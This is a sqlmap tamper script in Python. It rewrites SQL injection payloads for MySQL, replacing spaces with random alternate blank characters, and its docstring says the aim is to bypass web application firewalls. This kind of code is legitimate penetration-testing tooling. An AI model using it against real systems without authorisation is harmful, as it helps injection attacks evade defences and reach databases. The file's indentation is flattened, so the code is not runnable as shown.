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75 lines
1.9 KiB
Python
75 lines
1.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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import random
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__)[:-3], DBMS.MYSQL))
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def tamper(payload):
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"""
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Replaces space character (' ') with a random blank character from a
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valid set of alternate characters
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Example:
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* Input: SELECT id FROM users
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* Output: SELECT%0Bid%0BFROM%A0users
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Requirement:
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* MySQL
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Tested against:
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* MySQL 5.1
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Notes:
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* Useful to bypass several web application firewalls
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"""
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# ASCII table:
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# \t 09 horizontal TAB
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# \n 0A new line
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# - 0C new page
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# \r 0D carriage return
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# - 0B vertical TAB (MySQL only)
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# - A0 - (MySQL only)
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blanks = ['%09', '%0A', '%0C', '%0D', '%0B', '%A0']
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retVal = payload
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if payload:
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retVal = ""
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quote, doublequote, firstspace = False, False, False
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for i in xrange(len(payload)):
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if not firstspace:
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if payload[i].isspace():
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firstspace = True
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retVal += random.choice(blanks)
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continue
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elif payload[i] == '\'':
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quote = not quote
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elif payload[i] == '"':
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doublequote = not doublequote
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elif payload[i]==" " and not doublequote and not quote:
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retVal += random.choice(blanks)
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continue
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retVal += payload[i]
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return retVal
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